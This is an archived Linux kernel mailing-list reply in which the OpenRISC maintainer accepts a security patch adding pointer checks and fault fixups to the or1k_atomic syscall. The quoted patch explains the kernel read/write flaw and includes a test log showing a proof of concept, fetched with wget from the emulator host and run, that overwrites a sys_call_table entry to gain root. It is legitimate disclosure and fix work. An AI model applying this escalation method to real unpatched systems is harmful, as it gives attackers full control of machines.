From: Stafford Horne <shorne@gmail.com>
To: Ali Ahmet Memis <ali@iusegentoo.com>
Cc: Jonas Bonn <jonas@southpole.se>,
Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
Arnd Bergmann <arnd@arndb.de>,
linux-openrisc@vger.kernel.org, linux-kernel@vger.kernel.org,
stable@vger.kernel.org
Subject: Re: [PATCH v2] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall
Date: Sat, 29 Aug 2026 07:29:29 +0100 [thread overview]
Message-ID: <apJ8SWRA0PxaQEs9@antec> (raw)
In-Reply-To: <20260821014543.588228-1-ali@iusegentoo.com>
On Fri, Aug 21, 2026 at 01:45:27AM +0000, Ali Ahmet Memis wrote:
> sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user
> pointers, v1 and v2, and swaps the words they point to in hand-written
> assembly.
>
> l.lwz r29,0(r4)
> l.lwz r27,0(r5)
> l.sw 0(r4),r27
> l.sw 0(r5),r29
>
> The pointers are not checked with access_ok(). The four memory
> accesses also have no exception table entries.
>
> A caller passes a kernel address as either pointer, and the syscall
> reads from and writes to it directly.
>
> This gives an unprivileged process a kernel read/write primitive. It
> overwrites kernel data such as the sys_call_table, gaining code
> execution in kernel context.
>
> Check both pointers before entering the critical section. Add fixups
> for the four memory accesses so faults on valid but unmapped user
> addresses return -EFAULT.
>
> Fixes: 9d02a4283e9c ("OpenRISC: Boot code")
> Cc: stable@vger.kernel.org
> Signed-off-by: Ali Ahmet Memis <ali@iusegentoo.com>
> ---
> v2: add Cc: stable@vger.kernel.org, missed in v1.
>
> Tested against an unpatched or1ksim build with a local PoC that uses
> this syscall to overwrite a sys_call_table entry and escalate to root:
>
> ali@archlinux:~$ cd ~/or1k-build/buildroot/output/images
> ali@archlinux:~/or1k-build/buildroot/output/images$ qemu-system-or1k -kernel vmlinux -nographic -append "console=ttyS0"
> FDT at (ptrval)
> Linux version 6.18.7 (ali@archlinux) (or1k-buildroot-linux-musl-gcc.br_real (Buildroot -g86102dd8) 15.3.0, GNU ld (GNU Binutils) 2.45.1) #5 Fri Aug 21 00:38:10 UTC 2026
> OF: reserved mem: Reserved memory: No reserved-memory node in the DT
> CPU: OpenRISC-13 (revision 8) @20 MHz
> -- dmmu: 128 entries, 1 way(s)
> -- immu: 128 entries, 1 way(s)
> -- additional features:
> -- power management
> -- PIC
> -- timer
> Initial ramdisk not found
> Setting up paging and PTEs.
> map_ram: Memory: 0x0-0x8000000
> Zone ranges:
> Normal [mem 0x0000000000000000-0x0000000007ffffff]
> Movable zone start for each node
> Early memory node ranges
> node 0: [mem 0x0000000000000000-0x0000000007ffffff]
> Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff]
> itlb_miss_handler (ptrval)
> dtlb_miss_handler (ptrval)
> OpenRISC Linux -- http://openrisc.io
> Kernel command line: console=ttyS0
> printk: log buffer data + meta data: 131072 + 409600 = 540672 bytes
> Dentry cache hash table entries: 16384 (order: 3, 65536 bytes, linear)
> Inode-cache hash table entries: 8192 (order: 2, 32768 bytes, linear)
> Sorting __ex_table...
> Built 1 zonelists, mobility grouping on. Total pages: 16384
> mem auto-init: stack:all(zero), heap alloc:off, heap free:off
> mem_init_done ...........................................
> SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
> NR_IRQS: 32, nr_irqs: 32, preallocated irqs: 0
> clocksource: openrisc_timer: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 95563022313 ns
> Console: colour dummy device 80x25
> 40.00 BogoMIPS (lpj=80000)
> $ id
> uid=1000(test) gid=1000(test) groups=1000(test)
> $ wget -O /tmp/x http://10.0.2.2:8000/lpe_static
> Connecting to 10.0.2.2:8000 (10.0.2.2:8000)
> saving to '/tmp/x'
> x 100% |********************************| 174k 0:00:00 ETA
> '/tmp/x' saved
> $ chmod +x /tmp/x
> $ /tmp/x
> Initial: uid=1000 euid=1000
> Installing commit_creds into getuid entry
> sys_call_table[174] overwritten
> original handler = 0xc002e2ac
> Calling hijacked syscall with init_cred
> hijacked syscall returned 0
> Restoring original getuid handler
> syscall table restored
> Final identity: uid=0 euid=0
> # id
> uid=0(root) gid=0(root)
> #
>
> arch/openrisc/kernel/entry.S | 42 ++++++++++++++++++++++++++++++++++++++---
> 1 file changed, 39 insertions(+), 3 deletions(-)
>
> diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S
> index c7e90b09645e..2e8c4102cd62 100644
> --- a/arch/openrisc/kernel/entry.S
> +++ b/arch/openrisc/kernel/entry.S
> @@ -1223,15 +1223,49 @@ _no_syscall_trace:
> *
> */
>
> +/* Keep this literal; hi()/lo() can't use the UL-suffixed TASK_SIZE. */
> +#define OR1K_ATOMIC_ADDR_LIMIT 0x7ffffffc
OK, it would have been good to use TASK_SIZE.
> ENTRY(sys_or1k_atomic)
Note, I don't know of any applications that actually use this, we should
deprecated this syscall. But I do see it available in musl and strace, it would
take some time to cleanup.
> /* FIXME: This ignores r3 and always does an XCHG */
> +
> + /* Check both user pointers before accessing them. */
> + l.movhi r13,hi(OR1K_ATOMIC_ADDR_LIMIT)
> + l.ori r13,r13,lo(OR1K_ATOMIC_ADDR_LIMIT)
> + l.sfgtu r4,r13
> + l.bf 9f
> + l.nop
> + l.sfgtu r5,r13
> + l.bf 9f
> + l.nop
> +
> DISABLE_INTERRUPTS(r17,r19)
> - l.lwz r29,0(r4)
> - l.lwz r27,0(r5)
> - l.sw 0(r4),r27
> - l.sw 0(r5),r29
> +10: l.lwz r29,0(r4)
> +11: l.lwz r27,0(r5)
> +12: l.sw 0(r4),r27
> +13: l.sw 0(r5),r29
> ENABLE_INTERRUPTS(r17)
> l.jr r9
> l.or r11,r0,r0
>
> + /* Either pointer was outside user space, or turned out to be
> + * unmapped/inaccessible when we actually touched it.
> + */
> +9: l.jr r9
> + l.addi r11,r0,-EFAULT
> +
> + .section .fixup, "ax"
> +14:
> + ENABLE_INTERRUPTS(r17)
> + l.j 9b
> + l.nop
> + .previous
> +
> + .section __ex_table, "a"
> + .long 10b, 14b
> + .long 11b, 14b
> + .long 12b, 14b
> + .long 13b, 14b
> + .previous
> +
Thanks,
I will send this upstream.
-Stafford
prev parent reply other threads:[~2026-08-29 6:29 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-08-21 1:38 [PATCH] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall Ali Ahmet Memis
2026-08-21 1:45 ` [PATCH v2] " Ali Ahmet Memis
2026-08-29 6:29 ` Stafford Horne [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=apJ8SWRA0PxaQEs9@antec \
--to=shorne@gmail.com \
--cc=ali@iusegentoo.com \
--cc=arnd@arndb.de \
--cc=jonas@southpole.se \
--cc=linux-kernel@vger.kernel.org \
--cc=linux-openrisc@vger.kernel.org \
--cc=stable@vger.kernel.org \
--cc=stefan.kristiansson@saunalahti.fi \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.